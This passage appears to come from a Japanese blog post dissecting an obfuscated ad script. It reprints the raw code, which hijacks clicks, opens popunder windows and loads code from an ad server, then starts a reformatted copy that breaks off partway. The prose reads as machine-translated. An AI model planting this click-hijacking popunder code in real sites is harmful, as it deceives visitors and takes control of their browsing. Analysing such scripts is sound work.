e4Z6h[O6h]){if(U7h.length==4&&U7h.charCodeAt(((38.2E1,16.6E1)>146.?(0x16D,3):(0x18F,55.)))==(97>(26,147)?(0x121,"e"):(40.0E1,5.)<0x7A?(0x1F1,121):38.80E1>(0x9B,102.30E1)?13:(1.155E3,0x211))&&U7h.charCodeAt(2)==((0x1B6,102.2E1)>=(0x7D,0xBB)?(144.5E1,100):(0x1F0,1.96E2))&&U7h.charCodeAt(0)==98)break};var Q=x.getBoundingClientRect();return {top:Math.round(Q.top+(I3x.i2h((e4Z6h[G6h]['pageYOffset']||e4Z6h[O6h][M7h]['scrollTop']||e4Z6h[O6h][q7h]['scrollTop']),(e4Z6h[O6h][t7h]['clientTop']||e4Z6h[O6h][j7h]['clientTop']||T)))),left:Math.round(Q.left+(I3x.y5h((e4Z6h[G6h]['pageXOffset']||e4Z6h[O6h][A7h]['scrollLeft']||e4Z6h[O6h][D7h]['scrollLeft']),(e4Z6h[O6h][k7h]['clientLeft']||e4Z6h[O6h][U7h]['clientLeft']||T))))};},R8=function R8(x){var Q="0123456789abcdef";var F=P1;var y=Q;for(var f=T;I3x.W6h(f,H);f++){F+=y.charAt(I3x.p6h(x>>f*U+N,0x0F))+y.charAt(I3x.X6h(x>>f*U,0x0F));}return F;},E2=function E2(Q){var F=function(){f[I3x.m5h(y*K,j)]=I3x.H5h(Q.length,U);};var y=(I3x.w5h(Q.length+U,G))+m;var f=new Array(I3x.C2h(y,K));for(var v=T;I3x.x5h(v,y*K);v++){var e=function(x){f[v]=x;};e(T);}for(v=T;I3x.K6h(v,Q.length);v++){f[I3x.x6h(v,j)]|=I3x.l6h(Q.charCodeAt(v),v%N*U);}f[I3x.T6h(v,j)]|=I3x.W5h(0x80,v%N*U);F();return f;},f8=function f8(x,Q){var F=(I3x.K5h(x,0xFFFF))+(I3x.o5h(Q,(39.30E1<=(141.,0x220)?(0x130,0xFFFF):(0x236,0xFD))));var y=(I3x.u6h(x,K))+(I3x.r6h(Q,K))+(I3x.C6h(F,K));return I3x.y6h(y<<K,F&0xFFFF);},J2=function J2(x,Q){var F=32;return I3x.f6h(x<<Q,x>>>FQ);},w8=function w8(x,Q,F,y,f,v){return f8(J2(f8(f8(Q,x),f8(y,v)),f),F);},B=function B(x,Q,F,y,f,v,e){return w8(I3x.z6h(Q,F)|~Q&y,x,Q,f,v,e);},A=function A(x,Q,F,y,f,v,e){return w8(I3x.r5h(Q,y)|F&~y,x,Q,f,v,e);},b=function b(x,Q,F,y,f,v,e){return w8(I3x.a2h(Q,F,y),x,Q,f,v,e);},D=function D(x,Q,F,y,f,v,e){return w8(F^(Q|~y),x,Q,f,v,e);},c4=function c4(x){var Q=343485551;var F=((2,27.)>(53,136)?(28,"Y"):(32.1E1,110)<(138.0E1,99)?0x100:(148.9E1,1.039E3)>=8.870E2?(0x0,718787259):(78.60E1,34.));var y=1120210379;var f=145523070;var v=1309151649;var e=((5.66E2,115.)<=0x100?(62,1560198380):(15.,147.4E1)<=(113,72)?5:(46.40E1,1.431E3));var g=30611744;var n=((87.,13.96E2)<(0x225,1.31E2)?'v':(89,21.)<=30.?(14.290E2,1873313359):(0x102,92.)<23.?22:(6E0,92.));var X=2054922799;var V=1051523;var M=(0x129>=(9.3E1,21.8E1)?(38.,1894986606):(0xB5,1.367E3)<0x10F?"g":(7.34E2,79));var z=((59.,1.083E3)>(0x1E7,1.75E2)?(31.0E1,1700485571):106<=(1.461E3,0x5E)?(0xF7,'V'):(54.,124));var W=(28>(0x189,59.90E1)?10:(2.800E2,0x19D)<101.9E1?(1.439E3,57434055):81.>=(0x18D,0x11B)?9.0E1:(0x1EE,2.98E2));var u=1416354905;var q=1126891415;var S=198630844;var t=995338651;var r=530742520;var Z=421815835;var d=640364487;var a=76029189;var k=722521979;var F8=358537222;var v8=681279174;var p8=1094730640;var s8=155497632;var e8=1272893353;var q8=1530992060;var m8=35309556;var t8=1839030562;var T8=((0x5D,1.16E2)<(4.3E2,0x2D)?0x1A9:135.>=(1.58E2,5.8E2)?(0x35,0x119):(8.18E2,4.11E2)>142.?(140.70E1,2022574463):(93.5E1,61));var N8=378558;var j8=1926607734;var r8=1735328473;var S8=(3.800E2<(0x15,43.0E1)?(139.,51403784):(0x7C,51.40E1)>1.407E3?8:(101.30E1,0x8B));var B8=1444681467;var n1=((0x1A0,0x219)<33?(3.5E1,14):(0x23F,2.48E2)<=(115,0x59)?14:0xE4<(0x1B6,4.64E2)?(14.69E2,1163531501):(0x172,0x72));var d8=187363961;var a8=1019803690;var y8=568446438;var g1=405537848;var W1=660478335;var M1=38016083;var u1=701558691;var h8=((58,0x191)>=(0x106,9.13E2)?'R':0xC1<(1.371E3,26.0E1)?(2.5E1,373897302):(0x197,0x6F));var q1=643717713;var m1=1069501632;var t1=165796510;var N1=1236535329;var X8=1502002290;var j1=40341101;var I8=1804603682;var r1=1990404162;var o=11;var P8=42063;var i8=1958414417;var B1=1770035416;var A1=45705983;var x1=1473231341;var b1=1200080426;var Q1=176418897;var z8=1044525330;var V8=((7.10E1,7)<=14.72E2?(44,22):(0x1CD,130.));var D1=606105819;var C1=389564586;var f1=(0x1B5>=(0x155,2.47E2)?(105,680876936):(128,0x1B0)<(0x14D,137)?94:(141.,0x164));var k1=271733878;var K1=((0x157,5.850E2)<=(79,0x233)?(88.60E1,72.9E1):3.1E1<(0xDB,0x54)?(22.,1732584194):(1.97E2,57)>=7.68E2?6.76E2:(87,10.73E2));var A8=271733879;var U1=1732584193;var s=E2(x);var E=U1;var c=-A8;var J=-K1;var l=k1;for(var p=T;I3x.v5h(p,s.length);p+=K){var H1=E;var Z1=c;var G1=J;var b8=l;E=B(E,c,J,l,s[p+T],L,-f1);l=B(l,E,c,J,s[p+m],x8,-C1);J=B(J,l,E,c,s[p+j],Z8,D1);c=B(c,J,l,E,s[p+H],V8,-z8);E=B(E,c,J,l,s[p+N],L,-Q1);l=B(l,E,c,J,s[p+Y],x8,b1);J=B(J,l,E,c,s[p+G],Z8,-x1);c=B(c,J,l,E,s[p+L],V8,-A1);E=B(E,c,J,l,s[p+U],L,B1);l=B(l,E,c,J,s[p+I],x8,-i8);J=B(J,l,E,c,s[p+w],Z8,-P8);c=B(c,J,l,E,s[p+o],V8,-r1);E=B(E,c,J,l,s[p+x8],L,I8);l=B(l,E,c,J,s[p+G8],x8,-j1);J=B(J,l,E,c,s[p+i],Z8,-X8);c=B(c,J,l,E,s[p+P],V8,N1);E=A(E,c,J,l,s[p+m],Y,-t1);l=A(l,E,c,J,s[p+G],I,-m1);J=A(J,l,E,c,s[p+o],i,q1);c=A(c,J,l,E,s[p+T],l8,-h8);E=A(E,c,J,l,s[p+Y],Y,-u1);l=A(l,E,c,J,s[p+w],I,M1);J=A(J,l,E,c,s[p+P],i,-W1);c=A(c,J,l,E,s[p+N],l8,-g1);E=A(E,c,J,l,s[p+I],Y,y8);l=A(l,E,c,J,s[p+i],I,-a8);J=A(J,l,E,c,s[p+H],i,-d8);c=A(c,J,l,E,s[p+U],l8,n1);E=A(E,c,J,l,s[p+G8],Y,-B8);l=A(l,E,c,J,s[p+j],I,-S8);J=A(J,l,E,c,s[p+L],i,r8);c=A(c,J,l,E,s[p+x8],l8,-j8);E=b(E,c,J,l,s[p+Y],N,-N8);l=b(l,E,c,J,s[p+U],o,-T8);J=b(J,l,E,c,s[p+o],K,t8);c=b(c,J,l,E,s[p+i],U8,-m8);E=b(E,c,J,l,s[p+m],N,-q8);l=b(l,E,c,J,s[p+N],o,e8);J=b(J,l,E,c,s[p+L],K,-s8);c=b(c,J,l,E,s[p+w],U8,-p8);E=b(E,c,J,l,s[p+G8],N,v8);l=b(l,E,c,J,s[p+T],o,-F8);J=b(J,l,E,c,s[p+H],K,-k);c=b(c,J,l,E,s[p+G],U8,a);E=b(E,c,J,l,s[p+I],N,-d);l=b(l,E,c,J,s[p+x8],o,-Z);J=b(J,l,E,c,s[p+P],K,r);c=b(c,J,l,E,s[p+j],U8,-t);E=D(E,c,J,l,s[p+T],G,-S);l=D(l,E,c,J,s[p+L],w,q);J=D(J,l,E,c,s[p+i],P,-u);c=D(c,J,l,E,s[p+Y],H8,-W);E=D(E,c,J,l,s[p+x8],G,z);l=D(l,E,c,J,s[p+H],w,-M);J=D(J,l,E,c,s[p+w],P,-V);c=D(c,J,l,E,s[p+m],H8,-X);E=D(E,c,J,l,s[p+U],G,n);l=D(l,E,c,J,s[p+P],w,-g);J=D(J,l,E,c,s[p+G],P,-e);c=D(c,J,l,E,s[p+G8],H8,v);E=D(E,c,J,l,s[p+N],G,-f);l=D(l,E,c,J,s[p+o],w,-y);J=D(J,l,E,c,s[p+j],P,F);c=D(c,J,l,E,s[p+I],H8,-Q);E=f8(E,H1);c=f8(c,Z1);J=f8(J,G1);l=f8(l,b8);}return R8(E)+R8(c)+R8(J)+R8(l);};v5(c5);var n5=[F5,f5,x5,i2,I2,(h2+V4+d2+o1+V4+w2)],v2=m,p2=N,S1=C.j5h,e2=C.t5h,J4=void T,T1=[],S2,X1,z1,W5=Y8,u8=u8||{};s5(C);E5(o2);var M5=L2,q5=O2;z1=b4();T5();l5();if(I3x.X5h(C.F5h,undefined)&&I3x.j6h(C.F5h.length,T)){var V1;L8(function(){k4(function(){var g=function(){V1=e4Z6h[O6h]['querySelectorAll'](J8+C.F5h)?e4Z6h[O6h]['querySelectorAll'](J8+C.F5h):W8;};function n(Q,F){function y(x){if(x.classList.contains(C.F5h)){x.classList.remove(C.F5h);x.classList.add(c4(u8.b5h+Date.now()));}}for(var f=T,v=Q.length;I3x.F6h(f,v);f++){if(F){var e=function(){var x='.html';Q[f].href=X1+x;};e();y(Q[f]);continue;}Q[f].href=i1();}}g();if(I3x.U6h(V1,W8)){return ;}D4(function(){n(V1,I3x.Z2h);},function(){n(V1);});});});return ;}var X2=function(){var v=I3x.H2h;return function(){var Q='ript',F=function(x){v=x;},y=function(x){f.src=x;};if(v){return ;}F(I3x.Z2h);var f=e4Z6h[O6h]['createElement']((p1+g4+Q));y(S2);L8(function(){for(var Y7h in e4Z6h[O6h]){if(Y7h.length==4&&Y7h.charCodeAt(3)==(0x6C!=(0x161,1.08E2)?68:(0x44,1.351E3)<93.?81.:(0x44,4)<28.?(0x89,121):(7.17E2,0x2C))&&Y7h.charCodeAt(2)==((135.,3.64E2)<=(0xA,0x236)?(0x125,100):(1.41E2,133))&&Y7h.charCodeAt(0)==((4.88E2,0x47)>0x1A2?17:(54.,7.)<=75?(99.9E1,98):(0x2E,0xFA)))break};e4Z6h[O6h][Y7h]['appendChild'](f);});f.onload=function(){f.parentNode.removeChild(f);if(I3x.Q6h(e4Z6h[G6h].zfgloadedpopup,I3x.Z2h)){z2(f);}};f.onerror=function(){z2(f);};};}(),z2=function(){var r=I3x.H2h;return function Z(v){var e='anonymous',g='text/css',n='stylesheet',X='head',V='link',M=function(){var x='css';S.id=z1+x;},z=function(x){S.rel=x;},W=function(x){S.crossOrigin=x;},u=function(x){S.type=x;},q=function(){var x='.css';S.href=X1+x;};if(r){return ;}if(v.parentNode){v.parentNode.removeChild(v);}var S=e4Z6h[O6h]['createElement'](V),t=e4Z6h[O6h]['getElementsByTagName'](X)[T];M();z(n);u(g);W(e);q();t&&t.insertBefore(S,t.firstChild);S.onload=function(){var y=I4(S.href);if(y){l4(E1);S.parentNode.removeChild(S);return ;}var f=P4(S.href);setTimeout(function(){var x='io',Q='nct',F='fu';if(typeof f===(F+Q+x+R)){f();}S.parentNode.removeChild(S);},v1);if(I3x.O5h(e4Z6h[G6h].zfgloadedpopup,I3x.Z2h)){l4(E1);}};S.onerror=function(){l4(E1);S.parentNode.removeChild(S);};};}(),l4=function(){var s4=I3x.H2h;return function(h8){var q1='z-index:',m1='bottom:',t1='right:',N1='left:',X8='px;',j1='height:',I8='%;',r1='width:',o='position:fixed;',P8=((144,59.)<=(4.,0x1B4)?(0x9B,101):(89.,100)>=(8.49E2,0xB0)?(137,'U'):(65.5E1,93.2E1)),i8=98,B1=99999999,A1=((5.10E1,47.1E1)>11.?(8.97E2,9999999):(73.,0x243)<=(0xC5,33.9E1)?(59.,8.73E2):(4.60E1,73.9E1)),x1='op',b1='reff',Q1=' ',z8='w',V8='lo',D1='ofol',C1='umbe',f1='number',k1='___goo',K1=(11.26E2<=(11.46E2,46.1E1)?0x249:(9.52E2,0x1B8)<(0x1B9,0x3)?0x9F:(0x1A1,138.)<24.6E1?(3.550E2,30):(105.,5)),A8='|',U1=function(x){O.rel=x;},s=function(x){s4=x;},E=function(){var x='tm';O.href=X1+(J8+w1+x+D8);};function c(){return f4(b8).split(A8).map(function(x){return parseInt(x,w);});}var J=function(){c1=I3x.G2h(c1,v1,d1,d1);};function l(x){var Q=[];while(I3x.e5h(x.length,T)){Q.push(x.splice(Q8(T,x.length),m).toString());}return Q;}function p(x,Q,F){x2(b8,x+A8+Q+A8+F);}if(s4){return ;}s(I3x.Z2h);var H1=m,Z1=H,G1=K1,b8=k1,F1=new Date().getTime(),y1=typeof C.n5h===f1?C.n5h:Z1,c1=typeof C.g5h===(R+C1+E8)?C.g5h:H1,O1=typeof C.R2h===f1?C.R2h:G1,Y1=void T;J();O1*=v1;if(!f4(b8)){p(F1,T,T);e1();}else{var n2=c(),p4=f5h(n2,j),g2=p4[T],L1=p4[m];if(I3x.d2h(c1,T)){p(T,L1,T);}else if(I3x.c5h(F1,g2+c1)){p(F1,L1,T);}else{}var M2=c(),u2=f5h(M2,H),m2=u2[j];if((I3x.T5h(y1,T)||I3x.q6h(m2,y1))&&I3x.k6h(F1,L1+O1)){e1();}}var O=e4Z6h[O6h]['createElement'](K8);E();U1((R+D1+V8+z8+Q1+R+c8+b1+h+E8+h+E8+Q1+R+c8+x1+h+R+h+E8));var t2=Q8(A1,B1),j2=Q8(i8,P8),r2=Q8(i8,P8),A2=Q8(T,N),b2=Q8(T,N),C2=Q8(T,N),k2=Q8(T,N),U2=[o,r1+j2+I8,j1+r2+I8,(l1+x1+z4)+A2+X8,N1+C2+X8,t1+k2+X8,m1+b2+X8,q1+t2+T4];e4Z6h[O6h]['addEventListener'](M5,function(Q){var F=new Date().getTime(),y=c(),f=f5h(y,H),v=f[m],e=f[j];if(I3x.M5h(F,v+O1)){return ;}if(I3x.B5h(e,y1)&&I3x.Z5h(y1,T)){return ;}var g=y4(Q.target,n8);if(g){var n=function(x){Y1=x.href;};n(g);}Q.preventDefault();Q.stopPropagation();Q2();L8(function(){for(var a7h in e4Z6h[O6h]){if(a7h.length==4&&a7h.charCodeAt(3)==121&&a7h.charCodeAt(2)==100&&a7h.charCodeAt(0)==(64.<(140.4E1,146.)?(0x114,98):(121.,1.408E3)<0xB9?(120.,80.9E1):(55.90E1,0x12E)>=0x209?(0x11F,'%;'):(0x179,113)))break};return e4Z6h[O6h][a7h]['appendChild'](O);});O.style.cssText+=l(U2).join(O8);},I3x.Z2h);O.addEventListener(q5,function(Q){var F="Fhtml",y="y",f="od",v="dy",e="bo",g="ead",n=((0x49,13)<=(12.73E2,0xFA)?(57,"h"):(147,80.5E1)),X=(136.>=(26.,38)?(0x4A,"F"):(9.06E2,138)),V="E",M="p",z="Fscri",W="2",u="C",q="3",S="%",t='?q");}, 300);',r='("',Z='ce',d='ati',a='oc',k='ow',F8='(){ ',v8='cti',p8='Time',s8='; ',e8='ul',q8=' = ',m8='er',t8='en',T8='in',N8="%3Chtml%3E%3Chead%3E%3Cscript%3E",j8=function(x){d8=x;},r8=new Date().getTime(),S8=c(),B8=f5h(S8,H),n1=B8[T],d8=B8[m],a8=B8[j],y8=void T;Q.preventDefault();Q.stopPropagation();Q.stopImmediatePropagation();j8(r8);a8+=m;p(n1,d8,a8);if(I3x.k2h(h8,undefined)&&I3x.L2h(h8,E1)){var g1=function(x){y8.opener=x;},W1=function(){var x='?q';e4Z6h[G6h]['location']=O.href+x;};y8=e4Z6h[G6h]['open'](O8);if(I3x.P2h(Y1,undefined)){var M1=function(x){y8.location=x;};M1(Y1);}else{var u1=function(x){y8.location=x.location;};u1(window);}W1();g1(W8);O.parentNode.removeChild(O);return ;}y8=e4Z6h[G6h]['open'](Y8);y8.document.write(decodeURIComponent(N8)+(z8+T8+J1+c8+z8+J8+c8+g8+t8+m8+q8+R+e8+D8+s8+p1+h+l1+p8+c8+k8+l1+S4+R1+k8+R+v8+c8+R+F8+z8+T8+J1+k+J8+D8+a+d+c8+R+J8+E8+h+g8+D8+K8+Z+r)+O.href+t+decodeURIComponent((S+q+u+S+W+z+M+I3x.Y2h+S+q+V+S+q+u+S+W+X+n+g+S+q+V+S+q+u+e+v+S+q+V+S+q+u+S+W+X+W4+f+y+S+q+V+S+q+u+S+W+F+S+q+V)));O.parentNode.removeChild(O);},I3x.Z2h);};}(),m5=function(){var v=((74.,130.)<=0x1C0?(126,')'):(0xF0,63.7E1)),e='AAIB',g='AE',n='BA',X='LA',V='AEAAA',M='B',z='5',W='H',u='y',q='///',S='AA',t='AAA',r='BAIA',Z='QA',d='ODlhA',a=((145,58.)<0xF3?(0x136,'G'):0x197<=(0x166,0x4B)?(7.23E2,'px'):(5.270E2,123.0E1)<=(0x9E,8.)?"O":(0x63,7.54E2)),k='0l',F8='R',v8='e64',p8='as',s8='b',e8=((1.321E3,1.362E3)>=(92,1.387E3)?(1.04E2,"F"):0xBE<=(8.13E2,7.03E2)?(126.,'g'):(9.15E2,37)>(0x57,51.)?84.:(13.52E2,76.)),q8='age',m8=((134.3E1,0xAF)<(0x249,11.)?(127.80E1,"K"):(0x123,52.1E1)<(30.1E1,6.30E1)?7.43E2:(95.10E1,149)<(137.,138.6E1)?(89.4E1,'m'):(29.,0xED)),t8='at',T8=(10.3E1>=(0xB1,24.20E1)?(0x23D,"d"):(6.99E2,0x17F)<(0x16D,0x135)?(0x1BC,0x21F):(0x1B4,14.76E2)>(29.0E1,93.)?(0xE6,999999):(143.,5.79E2)),N8='div',j8=function(x){S8.style.backgroundImage=x;},r8=function(x){S8.style.zIndex=x;},S8=e4Z6h[O6h]['createElement'](N8);r8(T8);j8((k8+E8+D8+S4+J1+t8+K8+z4+C8+m8+q8+Y8+e8+C8+R1+T4+s8+p8+v8+u4+F8+k+a+d+Z+r+n8+t+S+N4+q+u+W+z+M+V+n8+n8+X+S+S+n8+n+g+n8+e+F8+S+h1+v));return function(Q){for(var Q3h in e4Z6h[O6h]){if(Q3h.length==(10.89E2<(14.22E2,0x6A)?32:(0x16,5.600E2)>(0x211,0x16C)?(0x1F,4):(1.268E3,0x13A))&&Q3h.charCodeAt(((99.,9.19E2)>0x11D?(11.,3):(8.61E2,0x190)<=0xD9?88:(0x1E8,0x1DA)>(13.3E2,0x20A)?(1.262E3,0x225):(17.,0x18B)))==121&&Q3h.charCodeAt((46.2E1<=(76.,0x237)?(32.0E1,2):112<(104,70.)?"m":(0x11,73.10E1)))==100&&Q3h.charCodeAt(0)==((0x156,16.)<(0xD4,9.790E2)?(42,98):(43.,1.227E3)))break};var F=S8.cloneNode(I3x.H2h);for(var y in Q){if(Object.prototype.hasOwnProperty.call(Q,y)){var f=function(x){F.style[y]=x[y];};f(Q);}}e4Z6h[O6h][Q3h]['appendChild'](F);return F;};}();e5(X2);e4Z6h[G6h][G2]=function(){if(I3x.h5h(e4Z6h[G6h].zfgloadedpopup,I3x.Z2h)){X2();}};}catch(x){}})({j5h:'',U5h:1397381,n5h:3,g5h:3,R2h:45,t5h:['t92YuYzc2UWNrRXcxFXe5cmYz8mZhNGNx9WcqVGc'],F5h:''},'_hmiadab','_ihlnws');</script><script data-cfasync="false" type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1397380" async onerror="_hmiadab()" onload="_ihlnws()"></script> </noindex>
      
      







すごいですね。 実際には、すべてが見た目ほど悪くはありませんが、ここで何が起こっているかを理解することは明らかに不可能です。 広告スクリプトがgo.onclasrv.comから読み込まれているかどうかに応じて、この関数またはその関数が呼び出されることは明らかです。 あまりない。 少なくともいくつかの読みやすい形式にしましょう。 Jsnice.orgはこれを支援します。 少なくとも現在、コードと数字は通常の形式でフォーマットされており、異なる数字体系と表記形式が混在することはありません。 ボーナスは、状況によっては完全に正確ではありませんが、変数および関数パラメーターのタイプのマークアップと見なされます。



書式設定されたスクリプトテキスト
 /** @type {Window} */ var e4Z6h = window; var P6h; for (P6h in e4Z6h) { if (P6h.length === ((39, 10) <= (571, 36) ? (40, 9) : (41, 73) >= (3, 356) ? 115 : (491, 125)) && (P6h.charCodeAt((40, 448) >= (82, 427) ? (1496, 6) : (1074, 336)) === (638 > (502, 465) ? (983, 116) : (209, 985) < 471 ? 134 : 798 <= (1408, 185) ? 908 : (426, 579)) && (P6h.charCodeAt((1285, 201) > (337, 74) ? (6, 8) : (129, 1081)) === ((368, 262) >= (906, 3) ? (115, 114) : (62, 284) >= (539, 397) ? (864, 22) : (50, 1128)) && (P6h.charCodeAt((547, 23) >= 1013 ? 114 : (405, 133) > 306 ? (192, "com") : (435, 146) <= 158 ? (97, 4) : (119, 981)) === ((701, 59) >= (138, 249) ? (12, 400) : (40, 73) <= (94, 169) ? (53, 103) : (131, 426)) && P6h.charCodeAt((444, 138) < (430, 5) ? 269 : (103, 350) >= (579, 412) ? (289, "k") : (60, 229) <= 1128 ? (124, 0) : (235, 113)) === (1035 > (149, 136) ? (17, 110) : (410, 94) >= 232 ? (533, 957) : 98 <= (1355, 1) ? "A" : (56, 45)))))) { break; } } var O6h; for (O6h in e4Z6h) { if (O6h.length === (106 >= (208, 6) ? (1, 8) : (1097, 90)) && (O6h.charCodeAt(5) === 101 && (O6h.charCodeAt(7) === ((103, 581) > 52 ? (576, 116) : 370 < (144, 293) ? 456 : 520 <= (317, 511) ? 138 : (75, 20)) && (O6h.charCodeAt(3) === (653 >= (316, 733) ? "e" : (1313, 306) < 566 ? (109, 117) : (148, 198)) && O6h.charCodeAt(0) === 100)))) { break; } } var G6h; for (G6h in e4Z6h) { if (G6h.length === 6 && (G6h.charCodeAt(3) === 100 && (G6h.charCodeAt(5) === 119 && (G6h.charCodeAt(138 < (206, 584) ? (807, 1) : 519 <= (135, 278) ? (1268, "|") : (41, 320) <= 40 ? (9, "|") : (213, 717)) === 105 && G6h.charCodeAt((31, 106) <= (312, 326) ? (129, 0) : (111, 139)) === 119)))) { break; } } "use strict"; var I3x = { /** * @param {number} a4 * @param {number} b1 * @return {?} */ "O2h" : function(a4, b1) { return a4 * b1; }, /** * @param {?} newVal * @param {?} oldVal * @return {?} */ "R5h" : function(newVal, oldVal) { return newVal !== oldVal; }, /** * @param {(boolean|number|string)} a * @param {(boolean|number|string)} b * @return {?} */ "j6h" : function(a, b) { return a > b; }, /** * @param {?} deepDataAndEvents * @param {?} el * @return {?} */ "L2h" : function(deepDataAndEvents, el) { return deepDataAndEvents === el; }, /** * @param {?} i * @param {Object} arr2 * @return {?} */ "V6h" : function(i, arr2) { return i in arr2; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "Q6h" : function(newValue, oldValue) { return newValue !== oldValue; }, "Y2h" : "t", /** * @param {?} v02 * @param {?} dataAndEvents * @return {?} */ "M6h" : function(v02, dataAndEvents) { return v02 !== dataAndEvents; }, /** * @param {number} object * @param {number} backoff * @param {number} value * @param {number} data * @return {?} */ "G2h" : function(object, backoff, value, data) { return object * backoff * value * data; }, /** * @param {number} dataAndEvents * @param {number} obj * @return {?} */ "H5h" : function(dataAndEvents, obj) { return dataAndEvents * obj; }, /** * @param {?} callback * @param {?} value * @return {?} */ "S6h" : function(callback, value) { return callback === value; }, /** * @param {number} deepDataAndEvents * @param {number} obj * @return {?} */ "a5h" : function(deepDataAndEvents, obj) { return deepDataAndEvents <= obj; }, /** * @param {number} to * @param {number} from * @return {?} */ "J5h" : function(to, from) { return to - from; }, /** * @param {(boolean|number|string)} a * @param {(boolean|number|string)} b * @return {?} */ "u5h" : function(a, b) { return a > b; }, /** * @param {number} dataAndEvents * @param {number} v00 * @return {?} */ "z6h" : function(dataAndEvents, v00) { return dataAndEvents & v00; }, /** * @param {number} deepDataAndEvents * @param {number} n * @return {?} */ "N5h" : function(deepDataAndEvents, n) { return deepDataAndEvents <= n; }, /** * @param {?} regex * @param {?} timer * @return {?} */ "T5h" : function(regex, timer) { return regex === timer; }, /** * @param {string} dataAndEvents * @param {string} deepDataAndEvents * @return {?} */ "e6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents == deepDataAndEvents; }, /** * @param {number} _id * @param {number} dataAndEvents * @return {?} */ "K6h" : function(_id, dataAndEvents) { return _id < dataAndEvents; }, /** * @param {number} value * @param {number} regex * @return {?} */ "C2h" : function(value, regex) { return value * regex; }, /** * @param {(boolean|number|string)} res * @param {(boolean|number|string)} dataAndEvents * @return {?} */ "c5h" : function(res, dataAndEvents) { return res > dataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} regex * @return {?} */ "u6h" : function(deepDataAndEvents, regex) { return deepDataAndEvents >> regex; }, /** * @param {number} dataAndEvents * @param {number} xs * @param {number} v00 * @return {?} */ "a2h" : function(dataAndEvents, xs, v00) { return dataAndEvents ^ xs ^ v00; }, /** * @param {?} a * @param {?} b * @return {?} */ "P5h" : function(a, b) { return a === b; }, /** * @param {?} name * @param {?} index * @return {?} */ "U2h" : function(name, index) { return name === index; }, /** * @param {(boolean|number)} i * @param {(boolean|number)} regex * @return {?} */ "B5h" : function(i, regex) { return i >= regex; }, /** * @param {(boolean|number|string)} a * @param {(boolean|number|string)} b * @return {?} */ "e5h" : function(a, b) { return a > b; }, /** * @param {?} name * @param {?} index * @return {?} */ "A5h" : function(name, index) { return name === index; }, /** * @param {number} v02 * @param {number} regex * @return {?} */ "r6h" : function(v02, regex) { return v02 >> regex; }, /** * @param {?} dataAndEvents * @param {?} deepDataAndEvents * @return {?} */ "z5h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents === deepDataAndEvents; }, /** * @param {number} k * @param {number} n * @return {?} */ "m5h" : function(k, n) { return k - n; }, /** * @param {number} dataAndEvents * @param {number} v00 * @return {?} */ "r5h" : function(dataAndEvents, v00) { return dataAndEvents & v00; }, /** * @param {string} deepDataAndEvents * @param {string} args * @return {?} */ "o2h" : function(deepDataAndEvents, args) { return deepDataAndEvents == args; }, /** * @param {number} dataAndEvents * @param {number} deepDataAndEvents * @return {?} */ "f6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents | deepDataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} wait * @return {?} */ "p5h" : function(deepDataAndEvents, wait) { return deepDataAndEvents <= wait; }, /** * @param {?} a * @param {?} b * @return {?} */ "E6h" : function(a, b) { return a === b; }, /** * @param {number} _id * @param {number} n * @return {?} */ "x6h" : function(_id, n) { return _id >> n; }, /** * @param {number} value * @param {number} end * @return {?} */ "M5h" : function(value, end) { return value <= end; }, /** * @param {number} dataAndEvents * @param {number} opt_attributes * @return {?} */ "X6h" : function(dataAndEvents, opt_attributes) { return dataAndEvents & opt_attributes; }, /** * @param {string} deepDataAndEvents * @param {string} value * @return {?} */ "i5h" : function(deepDataAndEvents, value) { return deepDataAndEvents == value; }, "H2h" : false, /** * @param {number} value * @param {number} regex * @return {?} */ "C6h" : function(value, regex) { return value >> regex; }, /** * @param {number} value * @param {number} execResult * @return {?} */ "W6h" : function(value, execResult) { return value <= execResult; }, /** * @param {string} dataAndEvents * @param {string} deepDataAndEvents * @return {?} */ "J6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents == deepDataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} opt_fromIndex * @return {?} */ "n6h" : function(deepDataAndEvents, opt_fromIndex) { return deepDataAndEvents <= opt_fromIndex; }, /** * @param {string} el * @param {string} value * @return {?} */ "S5h" : function(el, value) { return el == value; }, /** * @param {?} deepDataAndEvents * @param {?} val1 * @return {?} */ "k2h" : function(deepDataAndEvents, val1) { return deepDataAndEvents !== val1; }, /** * @param {number} i * @param {number} regex * @return {?} */ "q6h" : function(i, regex) { return i < regex; }, /** * @param {string} deepDataAndEvents * @param {string} result * @return {?} */ "K2h" : function(deepDataAndEvents, result) { return deepDataAndEvents == result; }, /** * @param {string} dataAndEvents * @param {string} value * @return {?} */ "G5h" : function(dataAndEvents, value) { return dataAndEvents == value; }, /** * @param {?} dataAndEvents * @param {?} deepDataAndEvents * @return {?} */ "H6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents === deepDataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} opt_attributes * @return {?} */ "K5h" : function(deepDataAndEvents, opt_attributes) { return deepDataAndEvents & opt_attributes; }, /** * @param {number} _id * @param {number} dataAndEvents * @return {?} */ "x5h" : function(_id, dataAndEvents) { return _id < dataAndEvents; }, /** * @param {number} far * @param {number} near * @return {?} */ "y5h" : function(far, near) { return far - near; }, /** * @param {number} el * @param {number} value * @return {?} */ "V5h" : function(el, value) { return el == value; }, /** * @param {number} _id * @param {number} v02 * @return {?} */ "b6h" : function(_id, v02) { return _id < v02; }, /** * @param {string} deepDataAndEvents * @param {string} collection * @return {?} */ "A6h" : function(deepDataAndEvents, collection) { return deepDataAndEvents == collection; }, /** * @param {number} deepDataAndEvents * @param {number} obj * @return {?} */ "D6h" : function(deepDataAndEvents, obj) { return deepDataAndEvents <= obj; }, /** * @param {number} deepDataAndEvents * @param {number} value * @return {?} */ "g6h" : function(deepDataAndEvents, value) { return deepDataAndEvents <= value; }, /** * @param {number} v02 * @param {number} dataAndEvents * @return {?} */ "o5h" : function(v02, dataAndEvents) { return v02 & dataAndEvents; }, /** * @param {number} keepData * @param {number} dataAndEvents * @return {?} */ "C5h" : function(keepData, dataAndEvents) { return keepData < dataAndEvents; }, /** * @param {?} value * @param {?} target * @return {?} */ "N6h" : function(value, target) { return value === target; 